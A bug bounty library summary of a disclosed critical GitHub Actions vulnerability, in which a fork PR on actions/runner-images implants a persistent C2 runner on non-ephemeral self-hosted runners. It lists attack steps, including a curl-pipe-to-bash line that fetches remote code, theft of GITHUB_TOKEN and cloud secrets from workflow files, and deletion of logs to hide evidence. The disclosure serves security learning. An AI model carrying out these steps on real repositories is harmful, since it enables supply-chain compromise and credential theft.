# One Supply Chain Attack to Rule Them All

Non-ephemeral self-hosted runners on GitHub's public actions/runner-images repo let a fork PR execute code, persist, and steal secrets and GITHUB_TOKEN.

- Payout: $20,000
- Severity: critical
- Program: GitHub
- Credited: Adnan Khan
- Disclosed: 2023-12-20
- Write-up quality: 9/10
- Original: https://adnanthekhan.com/2023/12/20/one-supply-chain-attack-to-rule-them-all/
- Library page: https://bugbountylibrary.com/r/blog%3Aadnanthekhan-com-2023-12-20-one-supply-chain-attack-to-rule-them-all
- Tags: domain:infra impact:integrity impact:internal-access kind:bounty platform:blog sev:critical tech:github-actions technique:chained technique:recon vuln:misconfiguration vuln:secrets-leak

**Target:** GitHub Actions self-hosted runners on actions/runner-images public repo
**Root cause:** Public repo used non-ephemeral self-hosted runners with default fork-PR approval ('first-time contributors'), so any contributor could run arbitrary workflow code on the runner and persist between jobs.
**Steps:**
1. Submit a trivial typo PR to actions/runner-images to become a contributor (bypasses fork-PR approval).
2. Modify `.github/workflows/linter.yml` in fork: set `runs-on: ${{ matrix.os }}` with `os: [azure-builds, macos-vmware]` and replace linter step with `run: ./images.CI/shebang-linter.ps1`.
3. Replace shebang-linter.ps1 with bash payload: `curl -sSfL https://gist.githubusercontent.com/.../raw/code | bash` that installs a self-hosted runner agent connecting to attacker's private C2 repo.
4. Open PR right before scheduled nightly build; runner picks up workflow and implants C2 runner.
5. Use C2 workflow to read `.git/config` (persisted GITHUB_TOKEN from actions/checkout) and `_temp` scripts containing vCenter/Azure secrets during scheduled build.
6. Use stolen GITHUB_TOKEN to `DELETE /repos/actions/runner-images/actions/runs/<id>` to erase PR run logs.
**How found:** Recognized that self-hosted runners on public repos are dangerous by default; used heuristic that 'Cleaning the repository' in checkout logs indicates non-ephemeral runners, and observed repeated runner names. Noticed actions/runner-images used azure-builds/macos-vmware self-hosted runners with default approval settings, then reasoned a single typo PR grants contributor status to run fork workflows.
**Exploitation:** Attacker gains shell on GitHub's internal self-hosted runners, persists via installed runner agent, harvests GITHUB_TOKEN (write perms) and vCenter/Azure secrets from workflow temp files, deletes evidence logs via API, and could push malicious commits to main and trigger the merge_pull_request workflow to land code in weekly-deployed runner images.
**Escalation:** Stolen write-scoped GITHUB_TOKEN enables committing to branches and dispatching repository_dispatch to the auto-merge workflow; PRAPPROVAL_SECRET could be exfiltrated via shell injection, and vCenter admin creds could allow tampering with Mac image templates — chaining to supply-chain compromise of all hosted runner images.
**Insight:** Check public repos' workflow logs for 'Cleaning the repository' and repeated runner names to fingerprint non-ephemeral self-hosted runners; a one-character typo PR is enough to become a 'previous contributor' and bypass default fork-PR approval.
